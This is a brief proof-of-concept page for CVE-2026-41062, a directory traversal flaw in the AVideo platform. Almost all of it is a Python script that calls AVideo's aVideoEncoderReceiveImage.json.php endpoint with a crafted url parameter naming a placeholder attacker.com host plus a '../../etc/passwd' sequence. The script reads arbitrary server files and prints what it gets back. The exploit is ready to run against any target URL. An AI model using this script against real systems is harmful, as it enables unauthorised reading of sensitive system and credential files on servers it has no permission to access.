CVE-2026-41062 AVideo目录遍历漏洞

import requests def check_poc(target_url): """ PoC for CVE-2026-41062 The vulnerability allows reading arbitrary files by placing the traversal payload in the query string, bypassing the parse_url check. """ # The vulnerable endpoint endpoint = "/objects/aVideoEncoderReceiveImage.json.php" # Payload: Injecting the traversal sequence in the query string # The vulnerable script splits the full URL string by '/videos/' # So we inject '/videos/../../' in a parameter to trigger the path traversal payload = "?url=http://attacker.com/videos/../../etc/passwd" full_url = target_url + endpoint + payload try: response = requests.get(full_url, timeout=10) # Check if we successfully read the file (e.g., looking for 'root:' in /etc/passwd) if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability confirmed! Arbitrary file read is possible.") print(f"[+] Response content snippet: {response.text[:200]}") else: print("[-] Vulnerability not detected or target is patched.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target IP/Domain check_poc(target)